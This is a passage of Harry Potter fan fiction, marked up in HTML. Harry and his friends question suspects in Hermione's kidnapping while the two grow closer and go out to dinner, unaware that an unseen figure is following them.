Hermione said after a few moments of silence.</p>\n\n<p>&#8220;What for?&#8221; Harry asked softly.</p>\n\n<p>&#8220;Just&#8230;I wonder what everyone thinks.&#8221; Hermione said. &#8220;If they believe me or not.&#8221;</p>\n\n<p>&#8220;Of course they all do.&#8221; Harry answered. &#8220;Hermione, no one blames you for what happened okay? We blame the person who did this.&#8221;</p>\n\n<p>Hermione sighed and leaned forward to hug him. &#8220;You&#8217;re the best Harry. I don&#8217;t know what I would do without you right now.&#8221;</p>\n\n<p>Harry smiled into her hair and closed his eyes, breathing in the scent of her light perfume. He heard a ding and pulled back as the doors to the lift opened into the lobby of Cho&#8217;s office.</p>\n\n<p>&#8220;Hermione!&#8221; a general cry rose as the two of them stepped out of the lift.</p>\n\n<p>&#8220;Hello, hi&#8230;&#8221; Hermione said, her eyes growing wide. She unconsciously moved closer to Harry and somehow their hands found one another. Faces rushed at her and she tried to smile.</p>\n\n<p>&#8220;Hermione we were so worried when we heard about you.&#8221; </p>\n\n<p>&#8220;Hermione did they catch the person yet?&#8221;</p>\n\n<p>&#8220;How are you holding up, Hermione?&#8221; Cho Chang stepped out of her office. &#8220;Hello Harry.&#8221;</p>\n\n<p>&#8220;Hi Cho.&#8221; He answered, still holding onto Hermione&#8217;s hand. He saw Cho&#8217;s eyes travel briefly to it and then back up to smile at the two of them.</p>\n\n<p>&#8220;I&#8217;m all right.&#8221; Hermione brushed a strand of hair off her face. </p>\n\n<p>&#8220;Come on.&#8221; Cho motioned towards the hallway where Hermione&#8217;s office was. &#8220;Everyone, back to work!&#8221; she ordered.</p>\n\n<p>Harry and Hermione followed Cho down the hall, and she shut the door behind them. &#8220;Cho, I can&#8217;t stay I&#8217;m afraid.&#8221; Harry had not sat down next to Hermione. </p>\n\n<p>&#8220;Do you have to go so soon?&#8221; Hermione asked immediately. The thought of Harry leaving frightened her, he was like a security blanket.</p>\n\n<p>&#8220;I&#8217;m sorry, Hermione.&#8221; Harry looked apologetic. &#8220;But I&#8217;ll be back to pick you up this evening, I promise.&#8221; He leaned down and kissed her quickly on the cheek. &#8220;Bye Cho, it was nice seeing you again.&#8221;</p>\n\n<p>&#8220;You too Harry.&#8221; Her eyes followed Harry out the door and then settled back on Hermione. &#8220;I was worried when I heard about you.&#8221;</p>\n\n<p>&#8220;Thanks, Cho.&#8221; Hermione replied.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I just wanted you to know, if you needed help with anything, just know that you can come talk to me.&#8221; Cho sat down next to Hermione, her eyes warm. &#8220;You&#8217;re a good employee, and I also think of you as a friend.&#8221;</p>\n\n<p>&#8220;I appreciate it.&#8221; Hermione replied, smiling back at her. &#8220;I&#8217;d better get to work though, I want to get back into things and just&#8230;.forget about what happened.&#8221;</p>\n\n<p>&#8220;I understand.&#8221; Cho stood back up and went to the door, then turned to look at her. &#8220;You&#8217;re lucky to have Harry.&#8221;</p>\n\n<p>&#8220;What do you mean?&#8221; Hermione had stood up as well and was placing her bag on her desk, opening it to retrieve some papers.</p>\n\n<p>Cho smiled. &#8220;You&#8217;re lucky to have a friend like him who would care that much about you to walk you to and from work, and offer to let you stay with him.&#8221;</p>\n\n<p>&#8220;Yes, I am.&#8221; Hermione replied, gazing out the window for a moment as if she could see Harry standing right there. &#8220;He&#8217;s good to me.&#8221;</p>\n\n<p>The two women were silent for a moment. &#8220;Well,&#8221; Cho finally said. &#8220;I&#8217;ll let you get back to it. You can come by my office should you need anything.&#8221;</p>\n\n<p>&#8220;Thanks, Cho.&#8221; Hermione smiled again and sat down. She looked at her desk for a few long minutes, trying to compose her thoughts. She was about to get up and grab some books from her shelves when a figure appeared in her doorway. </p>\n\n<p>&#8220;Hermione!&#8221; Ernie Macmillan rushed into the room and pulled her into a hug. &#8220;Hermione I&#8217;m so glad you&#8217;re okay!&#8221;</p>\n\n<p>&#8220;Hi Ernie,&#8221; Hermione managed. &#8220;Thanks.&#8221;</p>\n\n<p>&#8220;Everyone was so worried about you,&#8221; Ernie pulled back and looked her up and down. &#8220;Were you hurt?&#8221;</p>\n\n<p>&#8220;No, no not really.&#8221; Hermione replied. &#8220;I was lucky enough to escape before&#8230;.before anything like that could happen.&#8221;</p>\n\n<p>&#8220;Good.&#8221; Ernie replied, straightening out his dark blue work robes. &#8220;Listen, you may find some notes and work to do that we piled on your desk before we realised you were&#8230; missing&#8230; but you don&#8217;t have to do any of it if you don&#8217;t want to.&#8221;</p>\n\n<p>&#8220;Oh no, I&#8217;ll be happy to.&#8221; Hermione said, a slight smile crossing her face. &#8220;Anything you want to pass my way, please do.&#8221;</p>\n\n<p>&#8220;All right,&#8221; Ernie grinned then. &#8220;Well, if you want to take a break, or do lunch later&#8230; just stop by my office.&#8221;</p>\n\n<p>&#8220;Thanks, Ernie.&#8221; Hermione smiled fully up at him. &#8220;You&#8217;re a good friend.&#8221;</p>\n\n<p>Ernie grinned and then left her alone once more. Hermione looked down and began shuffling through the stack that he had mentioned. Despite the attack on her, she began to feel very lucky to be surrounded by friends who cared about her.</p>\n\n<p>Meanwhile, Harry had arrived at the Ministry of Magic and was heading down the corridor to Neville&#8217;s office.</p>\n\n<p>&#8220;Hi Harry.&#8221; Neville didn&#8217;t look up as he entered the room. &#8220;No luck yet on Krum.&#8221;</p>\n\n<p>Harry froze for a moment and then dropped his cloak in a chair. &#8220;Damn it.&#8221;</p>\n\n<p>&#8220;We picked up Pansy Parkinson though.&#8221; Neville finally looked up and grinned. &#8220;I&#8217;ll be damned if she didn&#8217;t put up a fight though.&#8221;</p>\n\n<p>&#8220;I&#8217;ll bet she did.&#8221; Harry returned the smirk. &#8220;Who got her?&#8221;</p>\n\n<p>&#8220;Dean.&#8221; Neville replied, shuffling his papers and tossing them in a drawer. &#8220;Shall we? I&#8217;ve been looking forward to this all morning.&#8221;</p>\n\n<p>Harry laughed as they left the office. Neville had really changed from his early Hogwarts days, by their 5<sup>th</sup> year he had become more outspoken and had developed quite a backbone for himself as well. He had also proved to be an extremely loyal and trustworthy friend, and Harry felt he was lucky to know Neville.</p>\n\n<p>&#8220;He&#8217;s been holding her in here for about an hour.&#8221; Neville was saying as they strode down the hallway. &#8220;Can&#8217;t you hear her shrieking?&#8221; Harry cocked his head and sure enough, he could hear a shrill voice screaming at the top of her lungs.</p>\n\n<p>&#8220;Let me the fuck out of here!&#8221; Those were the words that greeted Neville and Harry as they opened the door. Pansy Parkinson turned her pug nosed face to them and her eyes widened. &#8220;What is going on here? What right do you have to bring me in here? You just wait until I tell someone about this; you&#8217;ll ALL be in trouble!&#8221;</p>\n\n<p>&#8220;Knock it off, Parkinson.&#8221; Neville replied, shutting the door behind them. &#8220;We just have a few questions to ask you.&#8221;</p>\n\n<p>&#8220;You had better make it fast!&#8221; Pansy huffed. &#8220;I&#8217;m supposed to be at work.&#8221;</p>\n\n<p>&#8220;Relax.&#8221; Harry spoke up. &#8220;Cho knows where you are and why you&#8217;re here.&#8221;</p>\n\n<p>Pansy nearly flew up and out of her seat. &#8220;I DON&#8217;T EVEN BLOODY KNOW WHY I&#8217;M HERE!&#8221;</p>\n\n<p>&#8220;You&#8217;re here because you were one of the last people to see Hermione Granger the night she was kidnapped.&#8221; Dean said flatly.</p>\n\n<p>&#8220;What?&#8221; Pansy looked shocked. &#8220;I had nothing to do with that!&#8221; her face grew red in anger.</p>\n\n<p>&#8220;You were seen going back into the building and then Hermione said she talked to you before she left.&#8221; Harry said tightly. &#8220;Why were you there?&#8221;</p>\n\n<p>&#8220;For one thing, Potter, I WORK there, I have every right to be at the office.&#8221; Pansy replied. &#8220;For another thing, I forgot something and had to go back, otherwise I wouldn&#8217;t have even seen that bitch.&#8221;</p>\n\n<p>&#8220;Watch what you say about her, Pansy,&#8221; Harry&#8217;s eyes were blazing. &#8220;You could be in enough trouble already.&#8221;</p>\n\n<p>&#8220;Harry.&#8221; Neville placed a restraining hand on his arm. &#8220;Pansy, why did you go back that evening?&#8221;</p>\n\n<p>&#8220;I forgot something in my desk.&#8221; Pansy spat. </p>\n\n<p>&#8220;What was it?&#8221; Neville asked patiently.</p>\n\n<p>&#8220;A bloody nail file!&#8221; Pansy nearly started shrieking again. </p>\n\n<p>&#8220;You went back for a nail file?&#8221; Dean asked disbelievingly.</p>\n\n<p>&#8220;Yes, Thomas, I did.&#8221; Pansy snapped. &#8220;Do you have a problem with that?&#8221;</p>\n\n<p>&#8220;Where did you go afterwards?&#8221; Harry asked. &#8220;Did you follow her home, or arrange for someone else to do it?&#8221;</p>\n\n<p>&#8220;I TOLD you Potter, I had NOTHING to do with her situation!&#8221; Pansy screamed. &#8220;I have better things to do with my time.&#8221;</p>\n\n<p>&#8220;Which are?&#8221; Neville asked after giving Harry another warning glance.</p>\n\n<p>&#8220;I don&#8217;t have to tell you a damn thing.&#8221; Pansy lifted her nose in the air and turned away.</p>\n\n<p>&#8220;You do if you want to stay out of trouble.&#8221; Dean said, his arms crossed over his chest.</p>\n\n<p>Pansy glared defiantly at the three men for a moment. &#8220;Fine.&#8221; She relented. &#8220;Iwaswthcrbeadgyl.&#8221; She muttered.</p>\n\n<p>&#8220;What?&#8221; Harry nearly barked. </p>\n\n<p>&#8220;I SAID,&#8221; Pansy glared back at him. &#8220;I WAS WITH CRABBE AND GOYLE!&#8221;</p>\n\n<p>Harry felt his jaw go slack, and one glance at Neville and Dean told him that they were as shocked as he was. &#8220;You were with both Crabbe and Goyle?&#8221;</p>\n\n<p>&#8220;Yes, I was with both Crabbe and Goyle.&#8221; Pansy said, her tone mocking.</p>\n\n<p>&#8220;At&#8230; the same time?&#8221; Harry couldn&#8217;t help asking. </p>\n\n<p>Pansy smirked. &#8220;Why do you want to know? I didn&#8217;t think you went for that sort of thing, Potter.&#8221; </p>\n\n<p>Harry turned away, disgusted. &#8220;You make me sick, Parkinson.&#8221;</p>\n\n<p>Neville grabbed Harry by the elbow. &#8220;Perhaps you should wait outside.&#8221; He said, steering him towards the door. &#8220;I don&#8217;t think we&#8217;ll get anything out of her,&#8221; Neville paused at his words and made a face. &#8220;&#8230;while you&#8217;re in here.&#8221;</p>\n\n<p>Harry glared back at Pansy. &#8220;Fine, I&#8217;ll be right outside.&#8221; He left the room and stood leaning against the wall in the corridor, his arms crossed over his chest. After about five minutes, the door opened and Pansy came flouncing out, sending him a death glare as she pushed past him.</p>\n\n<p>&#8220;What&#8217;s going on?&#8221; Harry strode back into the room. &#8220;Where is she going?&#8221;</p>\n\n<p>&#8220;She&#8217;s clear.&#8221; Neville replied, his tone slightly dejected. &#8220;She was with&#8230; Crabbe and Goyle at the Leaky Cauldron for part of the night&#8230; later&#8230;.&#8221;</p>\n\n<p>&#8220;I get it.&#8221; Harry interrupted, not wanting to know any more. &#8220;Dammit!&#8221;</p>\n\n<p>&#8220;I know.&#8221; Dean replied. &#8220;We&#8217;re still waiting on Krum though; we haven&#8217;t been able to track him down.&#8221;</p>\n\n<p>&#8220;What&#8217;s the problem?&#8221; Harry asked. </p>\n\n<p>&#8220;Travelling Quidditch players aren&#8217;t the easiest people to be in contact with.&#8221; Neville said.</p>\n\n<p>&#8220;Good point.&#8221; Harry sat down. &#8220;Perhaps I can owl Ron and have him send me a schedule, it&#8217;s bound to have Bulgaria on there.&#8221;</p>\n\n<p>&#8220;That would help a lot.&#8221; Dean answered as the three men left the room. Harry looked at his watch.</p>\n\n<p>&#8220;I&#8217;ll go do that now, and then I&#8217;m going over to see if Hermione wants me to take her to lunch.&#8221; Harry waved and headed off down to the Owlery to send Ron a note. After he had sent a tawny one on its way, he left the Ministry building and headed back to Diagon Alley where Cho&#8217;s company was located.</p>\n\n<p>Hermione was deeply absorbed in her work when a knock at her door startled her. &#8220;Harry!&#8221; a smile stretched across her face.</p>\n\n<p>&#8220;Hey,&#8221; Harry came in her office. &#8220;How are you?&#8221;</p>\n\n<p>&#8220;I&#8217;m good,&#8221; Hermione set down her papers. &#8220;Everyone was nice enough to pile a stack of things on my desk.&#8221; They both laughed.</p>\n\n<p>&#8220;Good.&#8221; Harry sat down in the chair next to the door. &#8220;Would you like to go grab some lunch with me?&#8221;</p>\n\n<p>&#8220;You&#8217;re spoiling me,&#8221; Hermione said. &#8220;Harry, you don&#8217;t have to keep doing this, it must be such a bother.&#8221;</p>\n\n<p>&#8220;Nonsense.&#8221; Harry replied. &#8220;I came because I enjoy spending time with you and I want to make sure you stay safe.&#8221;</p>\n\n<p>Hermione looked at him, a small smile growing. He was so sweet to care about her, and she had to admit, it was nice having someone with her all the time. &#8220;All right then,&#8221; she said. &#8220;But I insist you let me pay.&#8221;</p>\n\n<p>Harry heaved a mock sigh as she stood up and grabbed her cloak. &#8220;I suppose,&#8221; he said, his mouth twitching.</p>\n\n<p>&#8220;Good.&#8221; Hermione said, smiling as he helped her settle the cloak on her shoulders. She took his arm and they left the office after Hermione told Cho where she was going.</p>\n\n<p>&#8220;So where are you taking me?&#8221; Harry teased as they left the building, the overcast day making it cool outside.</p>\n\n<p>&#8220;I don&#8217;t know &#8211; wherever you want&#8230;&#8221; Hermione&#8217;s voice trailed off, the smile disappearing from her face.</p>\n\n<p>&#8220;What&#8217;s wrong?&#8221; Harry asked, noticing her change in demeanour.</p>\n\n<p>&#8220;I&#8230; I don&#8217;t know&#8230; I just suddenly felt like I was being watched.&#8221; Hermione pulled her hand from Harry&#8217;s arm and hugged herself.</p>\n\n<p>His eyes immediately began scanning the street, looking for anyone suspicious. &#8220;I don&#8217;t&#8230; I don&#8217;t see anyone,&#8221; he said after a few moments. He looked back at Hermione and felt something tug at his heart; there were tears in her large brown eyes and her lower lip was trembling.</p>\n\n<p>&#8220;I can&#8217;t explain it&#8230;&#8221; she shivered, trying not to let the tears fall.</p>\n\n<p>&#8220;Come on.&#8221; Harry put his arm around her and guided down the street. &#8220;Let&#8217;s just go back home, all right? I&#8217;ll make you something there.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Hermione wiped her eyes, too scared to argue. The feeling lingered even after they had arrived back at the flat and he was making her some tea.</p>\n\n<p>&#8220;Feeling better?&#8221; he asked, setting the mug in front of her.</p>\n\n<p>&#8220;A little,&#8221; Hermione answered as fresh tears came to her eyes. &#8220;I feel like such a bloody mess. There probably wasn&#8217;t even anyone on the street just now; I was probably just imagining things. I don&#8217;t know how you can put up with me.&#8221;</p>\n\n<p>&#8220;Hermione,&#8221; Harry sat down in the chair next to her. &#8220;I don&#8217;t think you&#8217;re a mess. You&#8217;ve been through an awful lot over this past week, and your mind is just trying to deal with it. If you felt someone watching you on the street&#8230;&#8221; his voice trailed off for a moment. &#8220;Then there probably was. And that&#8217;s why I&#8217;m here; to make sure nothing happens to you again.&#8221;</p>\n\n<p>&#8220;Thank you Harry,&#8221; Hermione&#8217;s voice was muffled because she had turned and thrown her arms around him. She could feel his hands travel up his back and settle in her hair, stroking the strands gently and soothingly. &#8220;So&#8230; so did you have any luck finding Viktor? What about Pansy, I noticed she wasn&#8217;t in the office today,&#8221; she said a little while later after calming down.</p>\n\n<p>&#8220;Well,&#8221; Harry began, noting that she didn&#8217;t pull out of his embrace. &#8220;We haven&#8217;t tracked Viktor down yet, but I owled Ron to get a Quidditch schedule so that we can find him. And Pansy&#8230; well&#8230; unfortunately she had an alibi for that night, so it&#8217;s not her.&#8221;</p>\n\n<p>&#8220;I know she hates me but I didn&#8217;t think she was capable of doing this.&#8221; Hermione said, taking a deep breath. &#8216;<i>When did Harry begin to smell so good?&#8217;</i> she pondered, and immediately squelched the thought into the back of her mind. <i>&#8216;This is not the time to be thinking of things like that!&#8217;</i> she told herself sternly.</p>\n\n<p>&#8220;Are you all right now?&#8221; Harry asked a few minutes later, regretfully breaking away from her. He brushed away at a few stray tears still on her face as she nodded.</p>\n\n<p>&#8220;I think so,&#8221; she answered, looking up at him. Their eyes met and locked for a few moments, her breath becoming shallow, silent gasps at the intensity of his gaze. Hermione could swear he was leaning forward, and found herself tilting her head back in expectation.</p>\n\n<p>Harry felt his head spin as he looked down at her half closed eyes, her face up as if she <i>wanted</i> him to kiss her. He was about to go and do what he had been wanting for a long time now when he suddenly came to his senses. She didn&#8217;t want to kiss him; he knew Hermione had no feelings of the romantic sort for him. Why would he go and try to spoil that? &#8220;I should make you something to eat.&#8221; Harry said as he pulled himself away.</p>\n\n<p>&#8220;What?&#8221; Hermione was startled as he pulled away. &#8220;Oh&#8230; uh&#8230; sure&#8230;&#8221; she stammered, looking the other way as her face burned brightly. &#8220;I just need to go use the loo&#8230;&#8221; She splashed clear water on her face and stared at herself in the mirror. &#8220;What were you about to do in there?&#8221; she asked her reflection. &#8220;You don&#8217;t have any feelings for Harry like that and what would make you think that he&#8217;s interested in you romantically?&#8221; Hermione sighed and rested her face against the cool mirror. &#8220;So then why do I feel so disappointed that he didn&#8217;t kiss me?&#8221; She sat down on the toilet and buried her face in her hands. &#8220;Did I want him to?&#8221; </p>\n\n<p>&#8220;Hermione?&#8221; his voice came from the doorway. &#8220;Are you all right?&#8221; </p>\n\n<p>&#8220;I&#8217;m fine.&#8221; She forced a smile onto her face. &#8220;Just tired, you know.&#8221;</p>\n\n<p>&#8220;I made you a sandwich if you&#8217;re still hungry.&#8221; Harry gestured back at his kitchen. &#8220;I&#8217;ll take you back to work again afterwards if you like as well.&#8221; His green eyes looked repentant and Hermione nearly flung herself in his arms again. </p>\n\n<p>&#8220;Thank you.&#8221; She answered, and they were staring at each other again. &#8220;Harry&#8230;look&#8230; I&#8217;m sorry about before, you know, in the kitchen.&#8221; She twisted a lock of hair around her index finger. </p>\n\n<p>&#8220;It&#8217;s all right.&#8221; He answered quickly. &#8220;Just one of those moments.&#8221;</p>\n\n<p>&#8220;Right.&#8221; She answered just as quickly. They went back into the kitchen and ate their lunch in relative silence.</p>\n\n<p>*** One Week Later***</p>\n\n<p>Hermione sat munching on some toast while reading the Daily Prophet. She looked up and smiled as Harry shuffled into the kitchen, his hair even more mussed than usual. He headed straight for the coffee and poured himself a cup.</p>\n\n<p>&#8220;Morning,&#8221; he mumbled. &#8220;Sorry I didn&#8217;t get in until late last night.&#8221; He sat down at the table. &#8220;I didn&#8217;t mean for you to worry.&#8221;</p>\n\n<p>Hermione smiled. &#8220;It&#8217;s all right.&#8221; She answered. He grinned back and her heart flopped over a few times. Over the past week since their &#8216;almost kiss&#8217; Hermione had found herself thinking of her best friend more often than not. He hadn&#8217;t mentioned it since it happened, and everything had gone back to the way it had been before&#8230; except now she had all the feelings and didn&#8217;t know what to do about them.</p>\n\n<p>&#8220;I&#8217;ve got good news for you,&#8221; Harry&#8217;s eyes were now twinkling.</p>\n\n<p>&#8220;Oh?&#8221; Hermione set the paper down. &#8220;What&#8217;s that?&#8221;</p>\n\n<p>Harry leaned forward, and Hermione caught her breath. &#8220;We got Krum.&#8221;</p>\n\n<p>Hermione gasped, a smile spreading across her face. &#8220;Really?&#8221;</p>\n\n<p>Harry sat back, a satisfied smile on his face. &#8220;Yes, really, and finally!&#8221; he said. &#8220;The Ministry caught up to him in Ireland.&#8221;</p>\n\n<p>&#8220;That&#8217;s wonderful,&#8221; Hermione said, a feeling of relief spreading over her. When Harry had told her that they were having trouble tracking down Viktor Krum, it had caused her to grow increasingly fearful that she would see him lurking down alleyways or in the shadows, waiting to jump out at her. </p>\n\n<p>&#8220;He&#8217;s at the Ministry, I just got the owl,&#8221; Harry was saying. &#8220;They&#8217;re going to interrogate him today, so I&#8217;m assuming by the end of the day that we&#8217;ll have all the evidence we need.&#8221;</p>\n\n<p>&#8220;Good,&#8221; Hermione replied. He reached across the table and squeezed her hand while he drained the rest of his coffee. &#8220;I&#8217;ve got to get ready.&#8221;</p>\n\n<p>&#8220;Me too.&#8221; Hermione took his mug and placed both of them in the sink. They went down the hallway and she disappeared into the guest room while he ducked into the loo. As he scrubbed shampoo into his hair, he thought about how if everything turned out as planned, Viktor would be convicted later that day, and then&#8230; </p>\n\n<p>&#8220;Hermione will be leaving,&#8221; he said aloud. It had been wonderful having her around that past week, especially after his huge break up with Liz. She had been his comfort source in everything, and he had jumped at the chance to reciprocate. The only unfortunate thing was that he hadn&#8217;t been able to bring himself to confess his feelings for her.</p>\n\n<p>&#8220;Perhaps it just wasn&#8217;t meant to be.&#8221; Harry shut the water off and wrapped a towel around his waist, using another one to dry off his hair. </p>\n\n<p>In the other bathroom, Hermione was having similar thoughts as she used her wand to dry her long locks. &#8220;I don&#8217;t want to leave,&#8221; she said softly to herself. &#8220;It&#8217;s been so nice being here with Harry.&#8221; And that was without thinking about her newfound feelings for her green eyed best friend. She wrapped the towel more firmly around herself and left the guest bathroom, only to run into Harry in the hallway.</p>\n\n<p>He was also only clad in a towel.</p>\n\n<p>&#8220;Erm&#8230;&#8221; Hermione couldn&#8217;t for the life of her force her brain to work. &#8220;I uh&#8230;&#8221; she couldn&#8217;t take her eyes off his waist where his towel was starting to slip.</p>\n\n<p>&#8220;Yeah.&#8221; Harry replied, unable to stop looking at the display of her creamy coloured flesh that was showing. &#8220;Me either.&#8221; He hitched the towel up and ran his other hand through his hair, making it spike. </p>\n\n<p>&#8220;I um,&#8221; Hermione&#8217;s eyes grew wider as his towel slipped again. &#8220;Towel&#8230; dressed&#8230; yes!&#8221; She turned, her face flaming, and sped down the hallway into the guest room.</p>\n\n<p>Harry watched her go; half wishing her towel would fall and was only half relieved when the door shut behind her. He banged his forehead against the wall, letting the dull thud echo. </p>\n\n<p>Hermione was still thinking of the incident many hours later as she tried to concentrate on her work. Her life had become so complicated, so confusing, that she couldn&#8217;t even do her job anymore. </p>\n\n<p>&#8220;What the bloody hell is wrong with me?&#8221; Hermione rubbed at her eyes. &#8220;Getting all sappy over a guy.&#8221;</p>\n\n<p>&#8220;Are you all right, Hermione?&#8221; Ernie Macmillan was passing by her office. </p>\n\n<p>&#8220;What?&#8221; Hermione jumped. &#8220;Oh, yes, Ernie I&#8217;m fine. Just a bit tired is all.&#8221;</p>\n\n<p>Ernie nodded sympathetically. &#8220;Any news on Viktor?&#8221;</p>\n\n<p>&#8220;Actually, yes, Harry found out this morning that they&#8217;re holding him over at the Ministry.&#8221; Hermione replied, a small smile quirking at her lips. &#8220;I really hope this will all be resolved.&#8221;</p>\n\n<p>&#8220;So do I.&#8221; Ernie replied. Cho suddenly appeared at his elbow. </p>\n\n<p>&#8220;Ernie, back to work.&#8221; She said and Ernie jumped and mock saluted her. </p>\n\n<p>&#8220;Yes ma&#8217;am.&#8221; He said in a smart aleck tone that made Hermione laugh. He grinned back at her and Cho gave him a dirty look. He skipped off down the hall and then she turned and rolled her eyes at Hermione.</p>\n\n<p>&#8220;He&#8217;s such a goof.&#8221; Cho said. &#8220;I heard they caught Krum finally.&#8221;</p>\n\n<p>&#8220;Yes,&#8221; Hermione was pleased. &#8220;It&#8217;ll be nice to walk down the street now and not feel like I&#8217;ve got someone watching me.&#8221;</p>\n\n<p>&#8220;I suppose it would, yes.&#8221; Cho said with a slight smile on her face. &#8220;You&#8217;re leaving Harry&#8217;s place?&#8221;</p>\n\n<p>&#8220;Most likely,&#8221; Hermione replied, looking down at her papers so that Cho wouldn&#8217;t see the sudden disappointed look flood her face. She didn&#8217;t want to leave the safe comfort of Harry&#8217;s flat; in the short time she&#8217;d been there it was more like home than her own place could ever be.</p>\n\n<p>Harry stood against the wall with his arms crossed. He was glaring at Viktor Krum who was sitting at the table in the centre of the room with the surliest expression Harry had ever seen him wear.</p>\n\n<p>&#8220;I vos not stalking Hermy-own-ninny,&#8221; Viktor was glaring at Neville. </p>\n\n<p>&#8220;Then why don&#8217;t you tell us where you were that night?&#8221; Neville shot back, unflinching.</p>\n\n<p>&#8220;I don&#8217;t haff to tell you anything.&#8221; Viktor replied. &#8220;But I asked Hermy-own-ninny for dinner and then I did not see her.&#8221;</p>\n\n<p>Harry narrowed his eyes. &#8220;You have been stalking her for awhile now, Krum.&#8221; His voice was tight. &#8220;And now you don&#8217;t have an alibi for where you were the night she was taken. That sounds awfully fishy to me.&#8221; He couldn&#8217;t believe that he had once been intimidated by this man; it seemed like a lifetime ago. </p>\n\n<p>&#8220;I told you, I don&#8217;t haff to say anything.&#8221; Viktor was being stubborn. </p>\n\n<p>&#8220;We found you in her FLAT!&#8221; Neville suddenly roared. &#8220;That means you&#8217;re obviously able to break down anti apparition and other security spells.&#8221;</p>\n\n<p>&#8220;I vos waiting for Hermy-own-ninny to come back from work so that we could talk,&#8221; Viktor replied.</p>\n\n<p>Harry felt his jaw drop. &#8220;He was waiting in her flat?&#8221; he asked Neville. </p>\n\n<p>&#8220;We weren&#8217;t going to tell you that until later, Harry,&#8221; Neville replied in a low voice. &#8220;Just keep it down; we don&#8217;t need another outburst like with Pansy, all right?&#8221;</p>\n\n<p>Harry nodded, but inside he was seething. He wanted to rip off Krum&#8217;s head and feed it to a hippogriff, he was so angry. In Hermione&#8217;s home, waiting for her to get back from work, waiting to try his hand once more at killing her.</p>\n\n<p>&#8220;I want you to tell me where you were the night she disappeared.&#8221; Neville said in a cold, firm voice. &#8220;Either that or&#8230;.&#8221;</p>\n\n<p>Viktor crossed his arms and simply glared back. &#8220;I&#8230; am&#8230; not&#8230; talking&#8230;&#8221;</p>\n\n<p>An hour later, Neville, Dean and Harry had still been unable to get anything out of him. They weren&#8217;t allowed to keep him contained, but had released him to his Quidditch team manager until he was to be put on trial, and was warned to stay in or near Diagon Alley. </p>\n\n<p>Harry felt considerably lighter as he practically skipped out of the Ministry and towards his flat. He had owled Hermione around six and asked her to have Ernie or Cho escort her back to his place so that he could stay and help Neville. </p>\n\n<p>&#8220;Hermione?&#8221; he called as he let himself into his flat. &#8220;Are you home yet?&#8221;</p>\n\n<p>&#8220;I&#8217;m in the kitchen!&#8221; he heard her voice. Harry rushed into the room and grabbed her around the waist, spinning her into a wide circle. </p>\n\n<p>&#8220;We&#8217;ve got him!&#8221; he grinned, still holding her tightly around the waist. He would tell her later about Krum being caught in her flat.</p>\n\n<p>Hermione gasped. &#8220;Really?&#8221; She flung her arms back around his neck. &#8220;Oh that&#8217;s wonderful, Harry!&#8221; On impulse she turned her face and kissed him on the cheek, immediately blushing afterwards.</p>\n\n<p>&#8220;So anyways,&#8221; Harry said, also turning red. &#8220;I thought we could go out tonight and celebrate somewhere.&#8221;</p>\n\n<p>&#8220;Sure!&#8221; Hermione agreed instantly. </p>\n\n<p>&#8220;Great!&#8221; Harry grinned at her again with his lopsided smile that now never failed to make her heart thump faster. &#8220;I know of a place, it&#8217;s down right off Diagon Alley. I haven&#8217;t been there yet but I&#8217;ve heard lots of good things about it.&#8221;</p>\n\n<p>&#8220;What&#8217;s it called?&#8221; Hermione asked, realising that his arms were still circled firmly around her waist. </p>\n\n<p>&#8220;The Succubus Stop.&#8221; Harry replied. &#8220;I think it&#8217;s better than the name.&#8221; he said and Hermione laughed.</p>\n\n<p>&#8220;I certainly hope so. What should I wear?&#8221;</p>\n\n<p>&#8220;Not casual, I hear it&#8217;s a nice place.&#8221; Harry replied. </p>\n\n<p>&#8220;All right,&#8221; Hermione agreed, a warm tingle spreading over her body. &#8220;I&#8217;ll be ready soon, then.&#8221; Harry grinned at her once more and she left the kitchen before her knees could give out on her.</p>\n\n<p>Hermione ran a spell through her curls so that they went smooth, and then twisted her hair back into a bun that rested at her nape. Hunting through the clothes she had thrown into her bag when packing to stay at Harry&#8217;s, she found a cashmere sleeveless top with a matching skirt. Deeming it perfect, she slipped it on carefully and put some light makeup on her eyes and lips.</p>\n\n<p>&#8220;Relax, Hermione,&#8221; she told her reflection. &#8220;This isn&#8217;t a date, this isn&#8217;t going to be romantic; it&#8217;s just a celebration.&#8221;</p>\n\n<p>Across the hall and down one door, Harry was telling himself the same thing. He ran his hand through his ever messy hair and smoothed down his black dress trousers. &#8220;I hope I look all right.&#8221; He said to himself.</p>\n\n<p>&#8220;You look nice.&#8221; A voice said at the doorway. Harry spun around to face an embarrassed Hermione. </p>\n\n<p>&#8220;Sorry,&#8221; she said sheepishly. &#8220;I didn&#8217;t mean to scare you.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; Harry was at a loss for words as he looked at her. &#8220;No, you didn&#8217;t&#8230; you look great too.&#8221;</p>\n\n<p>&#8220;Thanks.&#8221; She looked down at her feet for a moment then back up at him. &#8220;Are you ready?&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; he answered, grabbing his cloak from a chair. Helping Hermione into her own cloak, he let his fingers brush her bare skin, sending an electric tingle through both of them. They left the apartment in silence, both lost in their own thoughts. Once outside, Hermione reached and took Harry&#8217;s hand in hers, and they smiled at one another and walked towards Diagon Alley.</p>\n\n<p>They were too far away to hear a low growl come from the bushes by the side of Harry&#8217;s flat. A figure stepped out of the shrubbery and began to follow the couple, staying at a pace far back enough so that they wouldn&#8217;t see him. They narrowed their eyes whenever either Harry or Hermione would laugh, and a sneer came to their lips whenever Harry or Hermione&#8217;s clasped hands came into view. </p>\n\n<p>&#8220;Better enjoy your time with her now, Potter.&#8221; They said angrily under their breath. &#8220;It won&#8217;t be that way forever.&#8221; The figure continued to follow the twosome until they came to the Succubus Stop and disappeared inside. </p>\n\n<p>&#8220;Table for two, please.&#8221; Harry said to the wizard waiting at the door. He bowed slightly and took their cloaks, then led them to a table near the back of the dimly lit restaurant. &#8220;Bloody hell,&#8221; he muttered to himself. &#8220;I had no idea it would be this sort of atmosphere.&#8221; He apologized to Hermione once they had sat down. </p>\n\n<p>&#8220;Oh it&#8217;s all right.&#8221; Hermione replied. &#8220;It&#8217;s nice, and quiet actually.&#8221;</p>\n\n<p>Harry smiled. &#8220;Good.&#8221; They were handed menus and decided on a few dishes to share along with a bottle of red wine. </p>\n\n<p>&#8220;What shall we drink to?&#8221; Hermione asked after the Merlot had been poured in two goblets. </p>\n\n<p>&#8220;How about that you&#8217;re now safe and sound,&#8221; Harry replied. </p>\n\n<p>&#8220;Definitely to 